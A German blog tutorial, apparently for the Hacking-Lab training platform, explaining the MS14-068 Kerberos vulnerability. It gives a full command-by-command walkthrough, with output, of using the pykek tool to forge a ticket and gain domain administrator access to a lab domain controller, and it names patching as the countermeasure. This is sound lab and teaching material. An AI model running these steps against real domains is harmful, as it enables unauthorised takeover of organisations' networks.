Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.
Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:
- Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
- Installieren des Pakets krb-user
root@lcd806:~# apt-get install krb5-user
- Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS): 192.168.200.64
- Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): 192.168.200.64 zeigt
- Starten von kinit
root@lcd806:~# kinit hacker10@COMPA.NY Password for hacker10@COMPA.NY: kinit: Clock skew too great while getting initial credentials
Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.
- Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
root@lcd806:~# nmap –sC 192.168.200.64 […] | smb-os-discovery: | OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2) | OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 | Computer name: csl-ad | NetBIOS computer name: CSL-AD | Domain name: compa.ny […] |_ System time: 2014-12-07T15:07:11+01:00 […] root@lcd806:~# date Sun Dec 7 15:17:47 CET 2014
- Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
- Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$ OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2] tree connect failed: NT_STATUS_ACCESS_DENIED root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon Enter hacker10's password: Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2] smb: \> ls . D 0 Wed Feb 18 14:22:57 2009 […]
- Start rpcclient und eine Verbindung zum AD herstellen
root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
- Die SID eines normalen User auslesen. Bspw. hacker10
rpcclient $> lookupnames hacker10 hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
- Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY Password: [+] Building AS-REQ for CSL-AD.COMPA.NY... Done! [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done! [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done! [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done! [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done! [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done! [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done! [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done! [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
- Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
- Das wars. Wir sind Domäne Administrator
root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$ OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2] smb: \> ls AUTOEXEC.BAT A 0 Tue May 3 00:44:46 2005 boot.ini AHSR 208 Tue May 3 21:30:40 2005 CONFIG.SYS A 0 Tue May 3 00:44:46 2005 Documents and Settings D 0 Fri May 29 14:03:55 2009 IO.SYS AHSR 0 Tue May 3 00:44:46 2005 MSDOS.SYS AHSR 0 Tue May 3 00:44:46 2005 NTDETECT.COM AHSR 47772 Tue May 3 21:21:58 2005 ntldr AHSR 295536 Tue May 3 21:21:58 2005 pagefile.sys AHS 402653184 Sat Sep 17 16:50:27 2011 Program Files DR 0 Thu May 5 12:18:47 2011 RECYCLER DHS 0 Tue May 3 22:24:29 2005 System Volume Information DHS 0 Tue May 3 21:34:10 2005 test.txt A 10 Thu Sep 30 14:37:49 2010 WINDOWS D 0 Thu May 5 14:34:45 2011 wmpub D 0 Tue May 3 00:45:57 2005 65535 blocks of size 131072. 32678 blocks available
Bekannte Issues
- Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
- Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.
Gegenmassnahmen
Installation des “out-of-band” Patch MS14-068
Credits
Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.
Referenzen
[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx
Leave a Reply